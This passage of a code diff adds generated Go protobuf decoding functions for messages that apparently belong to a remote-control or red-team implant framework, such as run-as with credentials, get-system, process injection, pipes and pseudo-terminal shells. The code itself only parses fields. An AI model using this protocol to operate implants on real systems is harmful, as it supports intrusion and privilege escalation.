int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapkey == 0 { + mapkey = "" + } else { + mapkey = unsafe.String(&dAtA[iNdEx], intStringLenmapkey) + } + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + if intStringLenmapvalue == 0 { + mapvalue = "" + } else { + mapvalue = unsafe.String(&dAtA[iNdEx], intStringLenmapvalue) + } + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RunAsRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RunAsRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RunAsRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Username = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Domain", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Domain = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Password", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Password = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Program", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Program = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = stringValue + iNdEx = postIndex + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field UseProfile", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.UseProfile = bool(v != 0) + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Netonly", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Netonly = bool(v != 0) + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field UseEnv", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.UseEnv = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *GetSystem) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: GetSystem: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: GetSystem: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Inject) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Inject: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Inject: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Pipe) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Pipe: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Pipe: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Target = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PipeRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PipeRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PipeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pipe", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Pipe == nil { + m.Pipe = &Pipe{} + } + if err := m.Pipe.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Switch) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Switch: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Switch: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Urls", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Urls = append(m.Urls, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskCtrl) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskCtrl: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskCtrl: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TaskId", wireType) + } + m.TaskId = 0 + m.TaskId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Op", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Op = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskInfo) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TaskId", wireType) + } + m.TaskId = 0 + m.TaskId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Last", wireType) + } + m.Last = 0 + m.Last, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field RecvCount", wireType) + } + m.RecvCount = 0 + m.RecvCount, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SendCount", wireType) + } + m.SendCount = 0 + m.SendCount, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskListResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskListResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskListResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Tasks", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Tasks = append(m.Tasks, &TaskInfo{}) + if err := m.Tasks[len(m.Tasks)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FFmpegRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FFmpegRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FFmpegRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Action", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Action = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DeviceName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.DeviceName = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputFormat", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.OutputFormat = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputPath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.OutputPath = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Time", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Time = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PtyRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PtyRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PtyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionId", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.SessionId = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Shell", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + 